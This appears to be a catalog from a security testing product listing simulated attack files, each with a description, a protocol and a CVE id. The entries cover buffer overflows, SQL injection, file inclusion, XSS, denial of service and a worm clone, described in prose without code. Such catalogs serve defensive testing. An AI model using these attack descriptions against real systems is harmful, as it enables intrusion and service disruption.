OSVDB:	25523
Threat Package:	Standard
Threat File Name:	FSC20090226-11_Novell_eDirectory_Management_Console_Accept-Language_Buffer_Overflow.xml
Executive Description:	Novell eDirectory Management Console Accept-Language Buffer Overflow
Detailed Description:	A buffer overflow vulnerability exists in Novell eDirectory. The flaw is due to a boundary error when processing HTTP requests. By supplying an overly large number of values for the Accept-Language header, a remote unauthenticated attacker can leverage this vulnerability to inject and execute arbitrary code on the target host with System or root level privileges. An attack targeting this vulnerability can result in the injection and execution of arbitrary code. If code execution is successful, the behaviour of the target will depend on the intention of the attacker. Any injected code will be executed with System or root privileges. In the case of an unsuccessful code execution attack, eDirectory might terminate abnormally.
Protocol Type:	TCP
Threat Package:	Standard
Threat File Name:	sugarsuite_rfi_b.xml
Executive Description:	Sugar Suite Open Source Multiple Remote and Local File Include Vulnerabilities
Detailed Description:	This threat sends a crafted HTTP query containing the path for a local file to include in the returned page via the "beanFiles[1]" parameter for the RebuildAudit.php and LockResolve.php scripts. SugarCRM is a web based application which typically listens on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2006-2460
Threat Package:	Standard
Threat File Name:	FSC20081014-22_Microsoft_Internet_Explorer_createRange_Cross_Domain_Scripting.xml
Executive Description:	Microsoft Internet Explorer createRange Cross Domain Scripting
Detailed Description:	There exists a vulnerability in Microsoft Internet Explorer. The vulnerability is due to a validation error when handling function call to createRange method. Successful exploitation can allow a remote attacker to execute arbitrary script code in a user's browser session in context of the trusted site and to access the content of a web page in a different domain.
Protocol Type:	HTTP
CVEID:	CVE-2008-3472
Threat Package:	Standard
Threat File Name:	slammer_IPv6.xml
Executive Description:	SQL Slammer (IPv6 Version)
Detailed Description:	This threat is a clone of the SQL Slammer worm. Slammer uses the vulnerability described in MS02-039 to infect hosts. This threat will infect a vulnerable host with the SQL Slammer worm and propagate. (IPv6 Version)
Protocol Type:	MSSQL/IPv6
CVEID:	CVE-2002-0649
OSVDB:	4578
Threat Package:	Standard
Threat File Name:	FSC20100428-03_Google_Chrome_GURL_Cross_Origin_Bypass.xml
Executive Description:	Google Chrome GURL Cross Origin Bypass
Detailed Description:	Google Chrome web browser contains a Cross Origin Bypass vulnerability. The vulnerability is due to insufficient validation of URLs in the Google URL (GURL) component, which can lead to violation of the same origin policy. Remote attackers can exploit this vulnerability by enticing target users to visit a malicious website. Successful exploitation of this vulnerability can result in information disclosure and execution of active content outside the prescribed context.
Protocol Type:	HTTP/HTTPS
CVEID:	CVE-2010-1663
Threat Package:	Standard
Threat File Name:	nvr_nvUtility.dll_activex_bof_1.xml
Executive Description:	ACTi Network Video Controller ActiveX Control nvUtility.dll Remote Bufferoverflow Vulnerability "SaveXMLFile()"
Detailed Description:	This threat downloads a malicious web page which triggers a buffer overflow via the "SaveXMLFile()" method in the NVR nvUtility.dll ActiveX application, resulting in the overwriting of arbitrary files or code execution. This threat is delivered via HTTP port 80.
Protocol Type:	HTTP
CVEID:	CVE-2007-4583
Threat Package:	Standard
Threat File Name:	TSL20120822-12_InduSoft_Thin_Client_ISSymbol_ActiveX_InternationalOrder_Heap_Buffer_Overflow.xml

Executive Description:	InduSoft Thin Client ISSymbol ActiveX InternationalOrder Heap Buffer Overflow
Detailed Description:	A heap buffer overflow vulnerability exists in the InduSoft Thin Client. The vulnerability is due to lack of input validation on the InternationalOrder parameter of the ISSYMBOL.ISSymbolCtrl ActiveX control. An attacker can exploit this vulnerability by enticing the user to browse to a specially crafted webpage using Internet Explorer. Successful exploitation can result in arbitrary code execution in the context of the currently logged in user.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2011-0340
OSVDB:	72865
Threat File Name:	UDPport0DoS_IPv6.xml
Executive Description:	UDP Port 0 DoS (IPv6 Version)
Detailed Description:	This threat is executed by sending the targeted host a UDP packet to port 0 causing either the firewall or remote host to crash. This will result in a denial of service. (IPv6 Version)
Protocol Type:	UDP/IPv6
CVEID:	CVE-1999-0675
OSVDB:	1038
Threat Package:	Standard
Threat File Name:	TSL20150501-07_PowerDNS_Nameserver_Label-Decompression_Denial_of_Service.xml
Executive Description:	PowerDNS Nameserver Label Decompression Denial of Service
Detailed Description:	A denial of service vulnerability exists in PowerDNS. The vulnerability is due to a design weakness in PowerDNS label decompression code causing excessive looping. A remote attacker can exploit these vulnerabilities by sending a request to a vulnerable server to consume CPU resource. A successful attack could lead to resource exhaustion resulting in a denial of service condition. Tester should set variable \$destPort to 53 before test.
Protocol Type:	DNS
CVEID:	CVE-2015-1868
Threat File Name:	FSC20080812-12_Microsoft_Excel_FORMAT_Record_Array_Index_Memory_Corruption_IPv6.xml
Executive Description:	Microsoft Excel FORMAT Record Array Index Memory Corruption (IPv6 Version)
Detailed Description:	There exists a code execution vulnerability in Microsoft Excel. The vulnerability is due to insufficient validation of an index value when parsing the FORMAT record. A remote attacker can exploit this vulnerability by enticing the target user to open a crafted Excel file, potentially causing arbitrary code to be injected and executed in the security context of the current user. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2008-3005
Threat Package:	Standard
Threat File Name:	FSC20080910-16_Apple_QuickTime_PDAT_Atom_Parsing_Buffer_Overflow.xml
Executive Description:	Apple QuickTime PDAT Atom Parsing Buffer Overflow
Detailed Description:	There exists a stack overflow vulnerability in Apple QuickTime application. The vulnerability is due to improper calculations performed on elements of pdat atom in QuickTime VR files. A remote attacker may exploit this vulnerability by enticing the target user to open a malicious QuickTime movie file, causing abnormal termination of the application or potentially allowing arbitrary code to be injected and executed in the security context of the current user. In an attack case where code injection is successful, the behaviour of the target is entirely dependent on the intended function of the injected code. The code in such a case would execute within the security context of the current user. In an attack case where code injection is not successful, the affected Apple QuickTime process will terminate abnormally.
Protocol Type:	HTTP/HTTPS/IMAP/POP3/SMB/CIFS/SMTP/NFS
CVEID:	CVE-2008-3625
Threat Package:	Standard
Threat File Name:	FSC20060411-15_Microsoft_Internet_Explorer_HTML_Tag_Memory_Corruption.xml
Executive Description:	Microsoft Internet Explorer HTML Tag Memory Corruption
Detailed Description:	A memory corruption vulnerability exists in Microsoft Internet Explorer. The vulnerability is caused due to the application's failure to properly handle certain HTML tags. A remote attacker may exploit this issue via a malicious web page to execute arbitrary code in the context of the currently logged in user.
Protocol Type:	HTTP
CVEID:	CVE-2006-1188
Threat Package:	Standard
Threat File Name:	TSL20111021-02_Apple_Safari_Webkit_libxslt_Arbitrary_File_Creation_IPv6.xml
Executive Description:	Apple Safari Webkit libxslt Arbitrary File Creation(IPV6 VERSION)
Detailed Description:	An arbitrary file creation vulnerability exists in Apple's Safari web browser. The vulnerability is due to the way Webkit processes XSL transformations. A remote attacker can exploit this vulnerability by enticing a target user to open a crafted web page. Successful exploitation could lead to the creation (or overwriting) of arbitrary files on the target system, and execution of arbitrary code in the context of the currently logged-in user.
Protocol Type:	IPV6,HTTP,HTTPS
CVEID:	CVE-2011-1774
Threat File Name:	FSC20091013-14_Microsoft_Internet_Explorer_Table_Layout_Memory_Corruption.xml
Executive Description:	Microsoft Internet Explorer Table Layout Memory Corruption
Detailed Description:	A memory corruption vulnerability exists in Microsoft Internet Explorer. The vulnerability is due to an implementation error in the way Internet Explorer accesses certain table layout objects. Remote attackers can exploit this vulnerability by enticing target users to visit a malicious web page, potentially causing arbitrary code to be injected and executed in the security context of the current logged on user. Successful exploitation could result in execution of arbitrary code on the vulnerable system in the context of the logged-on user; additionally, the behaviour of the target machine is dependent on the intention of the malicious code. If such an attack is not executed successfully, the vulnerable application may terminate abnormally.
Protocol Type:	HTTP/HTTPS
CVEID:	CVE-2009-2531
Threat Package:	Standard
Threat File Name:	TSL20120319-04_VideoLAN_VLC_Media_Player_MMS_Plugin_Stack_Buffer_Overflow_IPv6.xml
Executive Description:	VideoLAN VLC Media Player MMS Plugin Stack Buffer Overflow(IPv6 Version)

Detailed Description:	A stack buffer overflow exists in VLC Media Player. The vulnerability is due to lack of bounds checking while copying a hostname into a stack buffer in the MMS access plugin. A remote attacker can exploit this vulnerability by enticing a user to open a specially crafted URL with a vulnerable version of VLC Media Player. Successful exploitation may allow the attacker to execute arbitrary code on the target user's machine with the privileges of the VLC Media Player process.
Protocol Type:	IPv6, HTTP, HTTPS, IMAP, POP3, SMTP, SMB/CIFS, NFS
CVEID:	CVE-2012-1775
OSVDB:	80188
Threat File Name:	TSL20170209-05_ISC_BIND_DNS64_and_RPZ_Query_Processing_Denial_of_Service.xml
Executive Description:	ISC BIND DNS64 and RPZ Query Processing Denial of Service
Detailed Description:	A denial-of-service vulnerability has been reported in ISC BIND. The vulnerability is due to a defect that can cause the named service to exit with an assertion failure or crash due to a NULL pointer dereference while processing a query and running a specific configuration. A remote, unauthenticated attacker could exploit this vulnerability by sending a query to an affected server running the affected configuration. Successful exploitation could lead to a denial-of-service condition.
Protocol Type:	DNS
CVEID:	CVE-2017-3135
Threat File Name:	sipciscoreboot_IPv6.xml
Executive Description:	Cisco IP Phone Reboot (IPv6 Version)
Detailed Description:	This threat sends a SIP NOTIFY message to a phone. This message will cause some Cisco phones to check for updated configuration files from the TFTP server, and upgrade/reboot if they are present. This can potentially cause unwanted upgrades or overwhelm a TFTP server. (IPv6 Version)
Protocol Type:	SIP/IPv6
Threat Package:	VoIP
Threat File Name:	TSL20160829-06_Micro_Focus_GroupWise_Admin_Console_install_login_jsp_Cross_Site_Scripting.xml
Executive Description:	Micro Focus GroupWise Admin Console install login.jsp Cross Site Scripting
Detailed Description:	A cross-site scripting vulnerability has been reported in the administrator console of Micro Focus GroupWise. The vulnerability is due to insufficient validation of user input on the token parameter by install/login.jsp. A remote attacker can exploit this vulnerability by enticing a target user to click on a specially crafted URL. Successful exploitation would result in the execution of arbitrary script code in the context of the target user's browser.
Protocol Type:	HTTPS
CVEID:	CVE-2016-5760
Threat File Name:	sipcontentlengthlarge.xml
Executive Description:	SIPPING: Content Length Larger Than Message
Detailed Description:	This threat sends out a SIP INVITE message with the content length larger than the actual message. This is not valid and will cause different results based on the transport method used. Over UDP, this message should be rejected, but may confuse or crash a SIP implementation.
Protocol Type:	SIP
Threat Package:	VoIP
Threat File Name:	TSL20170517-04_Joomla!_com_fields_SQL_Injection_IPv6.xml
Executive Description:	Joomla! com_fields SQL Injection (IPv6 Version)
Detailed Description:	A SQL injection vulnerability has been reported in the Joomla! com_fields component. The vulnerability is due to insufficient validation of the list.fullordering parameter in the getListQuery() function. A remote, unauthenticated attacker could exploit this vulnerability by sending an HTTP request with a malicious SQL query to the target server. Successful exploitation could result in disclosure of sensitive information from the underlying database.
Protocol Type:	HTTP, IPv6
CVEID:	CVE-2017-8917
Threat File Name:	TSL20161215-05_OpenSSH_kex_input_kexinit_Denial_of_Service_IPv6.xml
Executive Description:	OpenSSH kex_input_kexinit Denial of Service (IPv6 Version)
Detailed Description:	A denial of service vulnerability has been reported in OpenSSH. The vulnerability is due to improper implementation of the kex_input_kexinit function in the kex module allowing the function to be repeated after receipt of a message. A remote attacker could exploit this vulnerability by sending maliciously crafted request to the server during the key-exchange process. Successful exploitation of this vulnerability could lead to excessive memory consumption causing denial of service.
Protocol Type:	SSH, IPv6
CVEID:	CVE-2016-8858
Threat File Name:	TSL20161212-04_Google_Chrome_Blink_ImageBitmap_Integer_Overflow_IPv6.xml
Executive Description:	Google Chrome Blink ImageBitmap Integer Overflow (IPv6 Version)
Detailed Description:	A heap overflow vulnerability exists in Google Chrome Blink. The vulnerability is due to an integer overflow in ImageBitmap::ImageBitmap function while processing an HTML file with an overly large width and height arguments of createImageBitmap method. A remote, unauthenticated attacker can exploit this vulnerability by enticing a user to open a specially crafted HTML file. Successful exploitation of the vulnerability can possibly lead to remote code execution.
Protocol Type:	HTTP, HTTPS, IPv6
CVEID:	CVE-2016-5182
Threat File Name:	TSL20170217-06_Trend_Micro_Control_Manager_Widget_importFile.php_Directory_Traversal.xml
Executive Description:	Trend Micro Control Manager Widget importFile.php Directory Traversal
Detailed Description:	A directory traversal vulnerability has been reported in Trend Micro Control Manager. This vulnerability is caused by improper sanitization of directory traversal characters(...) by importFile.php. A remote, unauthenticated attacker could exploit this vulnerability by uploading arbitrary files onto the vulnerable server. Successful exploitation results in arbitrary code execution under the security context the Trend Micro Control Manager user.
Protocol Type:	HTTPS
Threat File Name:	blgbb_xss_IPv6.xml
Executive Description:	BlGbb Visitenkarte.PHP Cross Site Scripting Vulnerability (IPv6 Version)
Detailed Description:	This threat recreates a cross site scripting condition in ColdFusion Fusebox. This can allow an attacker to steal session and cookie information. BlGbb is a web application, and will typically listen on port 80. (IPv6 Version)

Protocol Type:	HTTP/IPv6
CVEID:	CVE-2007-3401
Threat Package:	Standard
Threat File Name:	openbsd_icmp6_bof.xml
Executive Description:	OpenBSD ICMPV6 Packet Handling Remote Buffer Overflow Vulnerability
Detailed Description:	This threat sends a specially crafted IPv6 ICMP packet to leverage a flaw in kern/uipc_mbuf2.c in servers running OpenBSD 3.9 and 4.0, that will lead to a denial of service condition or execution of arbitrary code with kernel-level privileges. OpenBSD is a unix operating system.
Protocol Type:	ICMP6
CVEID:	CVE-2007-1365
OSVDB:	33050
Threat Package:	Standard
Threat File Name:	x86NOOPudp5_IPv6.xml
Executive Description:	UDP x86 NOOP Variant 5 (IPv6 Version)
Detailed Description:	This threat sends UDP packets with a payload filled with NOOP assembly instructions. This gets flagged on IDS systems as a possible shellcode injection attack. NOOPs are used as a sled to insure greater probability for shellcode to execute. Unfortunately, NOOPs are also quite common in binary downloads from websites as well, causing many false positives. (IPv6 Version)
Protocol Type:	UDP/IPv6
Threat Package:	Standard
Threat File Name:	zeroboard_IPv6.xml
Executive Description:	Zeroboard Command Injection (IPv6 Version)
Detailed Description:	This threat injects a PHP script into the Zeroboard web application. It allows a remote attacker to execute arbitrary commands in the context of the web user. This can be used for further attacks to retrieve sensitive user account information. Zeroboard is a web application and typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2005-1820
OSVDB:	16996
Threat Package:	Standard
Threat File Name:	raccoon_dos_IPv6.xml
Executive Description:	Raccoon Denial Of Service Attack (IPv6 Version)
Detailed Description:	This threat sends flood of ISAKMP packets at the Raccoon VPN server. It uses random elements in the reserved flag fields, causing a crash. KAME listens typically listens on UDP port 500. (IPv6 Version)
Protocol Type:	ISAKMP/IPv6
CVEID:	CVE-2005-0398
Threat Package:	Standard
Threat File Name:	speedberg_rfi_IPv6.xml
Executive Description:	Speedberg <= 1.2beta1 Remote File Inclusion Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server.Speedberg is a web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2006-5485
Threat Package:	Standard
Threat File Name:	ruby_dos.xml
Executive Description:	Ruby On Rails Denial Of Service
Detailed Description:	This threat sends a malicious URL known to cause a crash in the Ruby on Rails server. This is done by sending a request for an object loaded in memory but not intended on being located there. Ruby on Rails is a webserver framework, and would typically listen on port 80.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	mobilepublisherphp_rfi.xml
Executive Description:	MobilePublisherPHP Header.PHP Remote File Include Vulnerability
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server.MobilePublisherPHP is a web application that typically listens on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2006-4849
OSVDB:	28920
Threat Package:	Standard
Threat File Name:	FSC20080812-20_Microsoft_Internet_Explorer_TextRange_Object_Memory_Corruption.xml
Executive Description:	Microsoft Internet Explorer TextRange Object Memory Corruption
Detailed Description:	A memory corruption vulnerability exists in the way Microsoft Internet Explorer manages text. The vulnerability is due to an integer overflow error when storing text string, which leads to memory corruption in the browser. Remote unauthenticated attackers could exploit this vulnerability by persuading a target user to visit a specially crafted Web site.Successful exploitation would cause a memory corruption that may lead to arbitrary code execution in the security context of the logged in user,
Protocol Type:	HTTP
CVEID:	CVE-2008-2255
Threat Package:	Standard
Threat File Name:	Netegrity_cookie.xml
Executive Description:	Netegrity Affiliate Agent Cookie Overflow
Detailed Description:	This threat sends a HTTP GET request with a large cookie value, known to overflow the heap in certain versions of SiteMinder.
Protocol Type:	HTTP
CVEID:	CVE-2004-0425
OSVDB:	5578
Threat Package:	Standard
Threat File Name:	TSL20131223-02_Nagios_core_CGI_Process_cgivars_Off-By-One_IPv6.xml

Executive Description:	Nagios core CGI Process_cgivars Off-By-One(IPv6 Version)
Detailed Description:	There exists an Off-By-One flaw in Nagios Core. The problem is caused by improper boundary check when validating the parameters passed to the application. A remote authenticated attacker could exploit this vulnerability by sending a request with a crafted long parameter value. Successful exploitation could result in the CGI crash.
Protocol Type:	HTTP,HTTPS,IPv6
CVEID:	CVE-2013-7108
Threat File Name:	FSC20080313-20_Alt-N_MDaemon_IMAP_Server_FETCH_Command_Buffer_Overflow.xml
Executive Description:	Alt-N MDaemon IMAP Server FETCH Command Buffer Overflow
Detailed Description:	There exists a stack buffer overflow vulnerability in the way Alt-N MDaemon Server handles IMAP requests. The vulnerability is due to lack of boundary protection while processing IMAP FETCH commands. A remote authenticated attacker may exploit this vulnerability to cause a denial of service condition or inject and execute arbitrary code on the vulnerable system within the security context of the affected service, normally System. In a more sophisticated attack where code injection is successful, the behaviour of the target is entirely dependent on the intended function of the injected code. The code in such a case would execute within the security context of the affected service, normally System. In an attack case where code injection is not successful, the affected server will terminate and reset all established connections.
Protocol Type:	IMAP
CVEID:	CVE-2008-1358
Threat Package:	Standard
Threat File Name:	FSC20090728-07_Microsoft_Internet_Explorer_Stylesheet_Memory_Corruption.xml
Executive Description:	Microsoft Internet Explorer Stylesheet Memory Corruption
Detailed Description:	A memory corruption vulnerability exists in Microsoft Internet Explorer. The flaw is due to a design error in the way Internet Explorer accesses a style sheet object that has been deleted. An attacker can persuade the target user to open a malicious web page to exploit this vulnerability. In an attack scenario, where arbitrary code is injected and executed on the target system, the behaviour of the target is dependent on the intention of the malicious code. The injected code will be run with privileges of the currently logged on user. If such an attack is not executed successfully, the vulnerable application may terminate abnormally.
Protocol Type:	HTTP/HTTPS
CVEID:	CVE-2009-1919
Threat Package:	Standard
Threat File Name:	firefoxSidebar2_IPv6.xml
Executive Description:	Firefox Sidebar Code Injection 2 (IPv6 Version)
Detailed Description:	This threat attempts to inject Javascript into the sidebar panel in the Firefox browser. This code executes with full access privileges, allowing the configuration of the browser to be changed, install new components, or change and execute files on the user's desktop. This threat is a client attack that comes from the virtual server. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2005-0402
OSVDB:	15009
Threat Package:	Standard
Threat File Name:	FSC20090127-05_MW6_Technologies_Barcode_dll_ActiveX_Control_Buffer_Overflow_IPv6.xml
Executive Description:	MW6 Technologies Barcode.dll ActiveX Control Buffer Overflow (IPv6 Version)
Detailed Description:	There exists a heap-based buffer overflow vulnerability in MW6 Technologies Barcode.dll ActiveX Control. The vulnerability is a boundary error while processing user input. A remote attacker can exploit this vulnerability by enticing the user to open a crafted html file. Successful exploitation may lead to arbitrary code execution in the security context of the logged in user. In an attack case where code injection is successful, the behaviour of the target is entirely dependent on the intended function of the injected code. The code in such a case would execute within the security context of the logged in user. In an attack case where code injection is not successful, the affected process will terminate abnormally. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2009-0298
Threat Package:	Standard
Threat File Name:	TSL20170314-37_Microsoft_Edge_CVE-2017-0070_Getter_Use_After_Free_IPv6.xml
Executive Description:	Microsoft Edge CVE-2017-0070 Getter Use After Free (IPv6 Version)
Detailed Description:	A use-after-free vulnerability exists in Microsoft Edge. This vulnerability is due to an error while handling objects in memory when processing HTML and script code. A remote attacker could exploit this vulnerability by enticing the target user to open a specially crafted web page. Successful exploitation could lead to arbitrary code execution in the security context of the target user.
Protocol Type:	HTTP,HTTPS,IPv6
CVEID:	CVE-2017-0070
Threat File Name:	FSC20100715-15_Oracle_Secure_Backup_Administration_selector_Variable_Command_Injection.xml
Executive Description:	Oracle Secure Backup Administration selector Variable Command Injection
Detailed Description:	A command execution vulnerability exists in Oracle Secure Backup server. The vulnerability is due to an insufficient sanitizing when handling the \$selector variable. A remote authenticated attacker could exploit this vulnerability by sending a specially crafted HTTP request to the index.php on the target server. Successful exploitation of this vulnerability may allow a remote authenticated attacker to execute arbitrary commands under the credentials of the SYSTEM account.</para>
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2010-0906
Threat Package:	Standard
Threat File Name:	TSL20160112-19_Microsoft_Edge_CVE-2016-0003_Type_Confusion.xml
Executive Description:	Microsoft Edge CVE-2016-0003 Type Confusion
Detailed Description:	A type confusion vulnerability exists in Microsoft Edge. The vulnerability is due errors while handling objects in memory.A remote attacker can exploit this vulnerability by enticing a victim into opening a specially crafted web page. Successful exploitation could lead to arbitrary code execution in the security context of the target user.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2016-0003
Threat File Name:	winamp_playlist_bof.xml
Executive Description:	Nullsoft Winamp Playlist Handling Vulnerability

Detailed Description:	This threat downloads a malicious playlist which exploits a buffer overflow within winamps playlist handler. Nullsoft Winamp is an mp3/avi player and this threat is delivered via HTTP which typically listens on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2006-0476
OSVDB:	22789
Threat Package:	Standard
Threat File Name:	TSL20130109-07_Ruby_on_Rails_XML_Processor_YAML_Deserialization_Code_Execution_IPv6.xml
Executive Description:	Ruby on Rails XML Processor YAML Deserialization Code Execution(IPv6 Version)
Detailed Description:	A code execution vulnerability has been reported in Ruby on Rails. The vulnerability is due to automatically casting values from user-provided YAML and Symbol strings to certain data types without validating the input. A remote unauthenticated attacker can exploit this vulnerability to execute arbitrary code within the context of the affected service.
Protocol Type:	IPV6,HTTP,HTTPS
CVEID:	CVE-2013-0156
OSVDB:	89026
Threat File Name:	winftp_dos_IPv6.xml
Executive Description:	WinFtp Server Version 2.0.2 Denial of Service Vulnerability (IPv6 Version)
Detailed Description:	This threat crashes vulnerable WinFTP Servers when an excessively large PASV command is issued from a client. WinFTP Server is an ftp server that typically listens on port 21. (IPv6 Version)
Protocol Type:	FTP/IPv6
CVEID:	CVE-2006-6673
Threat Package:	Standard
Threat File Name:	TSL20150917-07_Oracle_Endeca_IDI_ETL_Server_UploadFileConent_Directory_Traversal.xml
Executive Description:	Oracle Endeca IDI ETL Server UploadFileConent Directory Traversal
Detailed Description:	A directory traversal vulnerability exists in Oracle Endeca Information Discovery Integrator ETL Server. The vulnerability is due to insufficient input validation while processing SOAP requests to the UploadFileConent operation. By sending crafted SOAP requests to the target system, a remote authenticated attacker can leverage this vulnerability to upload arbitrary files to a target system with System privileges which can further lead to arbitrary code execution. Tester should set the variable \$destPort to 8080 before test.
Protocol Type:	HTTP
CVEID:	CVE-2015-2602
Threat File Name:	FSC20090811-17_Microsoft_Office_Web_Components_ActiveX_Control_Remote_Code_Execution.xml
Executive Description:	Microsoft Office Web Components ActiveX Control Remote Code Execution
Detailed Description:	A buffer overflow vulnerability has been reported in Microsoft Office Web Components ActiveX Control that can allow remote attackers to inject and execute arbitrary code on a target system. A remote attacker can exploit this vulnerability by enticing a target user to open a maliciously crafted web page. Successful attacks could allow for arbitrary code being injected and executed with privileges of the currently logged on user. If code execution is successful, the behaviour of the target will depend on the intention of the attacker. In the case of an unsuccessful code execution attack, it could cause the vulnerable application terminate abnormally in the target host.
Protocol Type:	HTTP/HTTPS/POP3/IMAP/SMTP
CVEID:	CVE-2009-1534
Threat Package:	Standard
Threat File Name:	TSL20170302-11_Trend_Micro_SafeSync_for_Enterprise_deviceTool.pm_get_nic_device_SQL_Injection_IPv6.xml
Executive Description:	Trend Micro SafeSync for Enterprise deviceTool.pm get_nic_device SQL Injection (IPv6 Version)
Detailed Description:	An SQL Injection vulnerability has been reported in Trend Micro's SafeSync's deviceTool.pm Perl module. The vulnerability is due to insufficient validation of the user-supplied role or role parameter when sending a query to get the information about a SafeSync nic device. A remote, authenticated, attacker could exploit this vulnerability by sending an HTTP request with a malicious SQL query to the target server. Successful exploitation could lead to arbitrary code execution in the security context of safesync.
Protocol Type:	HTTPS,IPv6
Threat File Name:	TSL20170404-03_Digium_Asterisk_CDR_ast_cdr_setuserfield_Buffer_Overflow_IPv6.xml
Executive Description:	Digium Asterisk CDR ast_cdr_setuserfield Buffer Overflow (IPv6 Version)
Detailed Description:	A buffer overflow has been reported in the CDR engine of Digium Asterisk. The vulnerability is due to a lack of size checking when setting the user field of a CDR.A remote, authenticated attacker can exploit this vulnerability by sending a crafted message to an affected Asterisk server. Successful exploitation could result in arbitrary code execution under the context of the user running the Asterisk service.
Protocol Type:	SIP,SIPS,IPv6
CVEID:	CVE-2017-7617
Threat File Name:	tekman_portal_sqli.xml
Executive Description:	Tekman Portal Uye_Profil.ASP SQL Injection Vulnerability
Detailed Description:	This threat sends a crafted URL that contains an SQL query which is executed by the server. Tekman Portal an web application that typically listens on port 80.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	ICMPRedirectStorm.xml
Executive Description:	ICMP Redirect Message Storm
Detailed Description:	This exploit will send ICMP redirect packets to a host from a spoofed, user specified, existing router that has an entry on the hosts routing table. These packets will update the routing table of the host with randomized, non-valid entries which will result in a frozen or slowed down state.
Protocol Type:	ICMP
CVEID:	CVE-1999-1563
OSVDB:	13582
Threat Package:	Standard

Threat File Name:	ms_speech_activex_rbof.xml
Executive Description:	Microsoft Speech API ActiveX control Remote Buffer Overflow Vulnerability
Detailed Description:	This threat downloads a malicious web page which triggers a buffer overflow in the Microsoft Windows Speech API ActiveX application, resulting in the overwriting of arbitrary files. This threat is delivered via HTTP port 80.
Protocol Type:	HTTP
CVEID:	CVE-2007-2222
Threat Package:	Standard
Threat File Name:	sipnonnumcontentlength.xml
Executive Description:	SIP Non-Numeric Content Length
Detailed Description:	This threat sends out a SIP INVITE message with a non-numeric content length specified (twelve). This can confuse or crash a PBX that isn't very robust.
Protocol Type:	SIP
Threat Package:	VoIP
Threat File Name:	smf_rfi_IPv6.xml
Executive Description:	SMF Forum SMF.PHP Remote File Include Vulnerability (IPv6 Version)
Detailed Description:	This threat uses a crafted url to leverage a vulnerability in web sites running SMF Forum software, to include a malicious php script to be executed in the context of the affected site. SMF Forum is a web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
OSVDB:	27432
Threat Package:	Standard
Threat File Name:	cisco_ssh_IPv6.xml
Executive Description:	Cisco SSH Protocol Negotiation Attack (IPv6 Version)
Detailed Description:	This threat sends a malformed SSH packet during protocol negotiation. Causes a vulnerable Cisco device to crash. (IPv6 Version)
Protocol Type:	SSH/IPv6
CVEID:	CVE-2002-1024
OSVDB:	5029
Threat Package:	Standard
Threat File Name:	TSL20150717-14_Oracle_Java_SE_OSCP_nextUpdate_Replay_Attack_IPv6.xml
Executive Description:	Oracle Java SE OSCP nextUpdate Replay Attack IPv6 version
Detailed Description:	A replay attack vulnerability exists in Oracle Java SE. The vulnerability is due to improper checking of the nextUpdate field in an OSCP response. An unauthenticated, MITM attacker may exploit this vulnerability by replaying an old OSCP response to trick a vulnerable Java application into accepting a revoked certificate when the application attempts to verify the the revoked certificate with OSCP.
Protocol Type:	OCSP/HTTP;OCSP/HTTPS.IPV6
CVEID:	CVE-2015-4748
Threat File Name:	vmware_vielib_dll_activex_rexec_IPv6.xml
Executive Description:	VmWare Inc version 6.0.0 (vielib.dll 2.2.5.42958) Remode Code Execution Vulnerability (IPv6 Version)
Detailed Description:	This threat demonstrates a flaw in Vmware's vielib.dll ActiveX Control to execute arbitrary commands with the privileges of the affected user. The threat is delivered via HTTP port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2007-4155
Threat Package:	Standard
Threat File Name:	TSL20121217-01_Wibu-Systems_WibuKey_Runtime_for_Windows_ActiveX_Control_Buffer_Overflow_IPv6.xml
Executive Description:	Wibu-Systems WibuKey Runtime for Windows ActiveX Control Buffer Overflow. (IPV6 Version)
Detailed Description:	A stack-based buffer overflow vulnerability exists in Wibu-Systems WibuKey Runtime for Windows. The vulnerability is due to a boundary error within the WkWin32.dll module when processing the "DisplayMessageDialog()" method. A remote attacker can exploit this vulnerability by enticing a target user to view crafted web content. A successful exploitation attempt may result in the execution of arbitrary code in the security context of the target user's browser.
Protocol Type:	IPV6,HTTP,HTTPS
OSVDB:	87881
Threat File Name:	FSC20101118-09_Novell_iPrint_Client_GetDriverSettings_Stack_Buffer_Overflow.xml
Executive Description:	Novell iPrint Client GetDriverSettings Stack Buffer Overflow
Detailed Description:	A stack buffer overflow exists in Novell iPrint Client. The vulnerability is due to insufficient validation by the ienipp.ocx ActiveX when processing input to one of the vulnerable methods (GetDriverSettings, and GetDriverSettings2.) A remote attacker can leverage this vulnerability by enticing a target user to open a specially crafted web page.Successful exploitation can allow an attacker to execute arbitrary code on a target system. In an unsuccessful attack attempt, the browser may abnormally terminate.
Protocol Type:	HTTP,HTTPS
Threat Package:	Standard
Threat File Name:	ms-explorer_avi_dos_IPv6.xml
Executive Description:	MS Windows Explorer (AVI) Unspecified Denial of Service Vulnerability (IPv6 Version)
Detailed Description:	This threat leverages a flaw in MS Windows Explorer via a maliciously crafted avi file, that when opened may result in a denial of service condition on the affected system. MS Windows Explorer is a client application, this threat delivers the malicious file via a web server listening on port 80 (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2007-0562
Threat Package:	Standard
Threat File Name:	TSL20131120-01_Nginx_Request_URI_Verification_Security_Bypass_IPv6.xml
Executive Description:	Nginx Request URI Verification Security Bypass(IPv6 Version)
Detailed Description:	There exists a security bypass vulnerability in Nginx. The vulnerability is caused by improper handling of unescaped space characters within URIs. A remote attacker can exploit this vulnerability to bypass security restrictions in certain configurations.
Protocol Type:	HTTP,HTTPS,IPV6

CVEID:	CVE-2013-4547
